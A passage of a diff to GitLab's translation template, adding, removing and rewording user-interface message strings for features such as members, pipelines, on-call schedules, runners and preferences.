+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
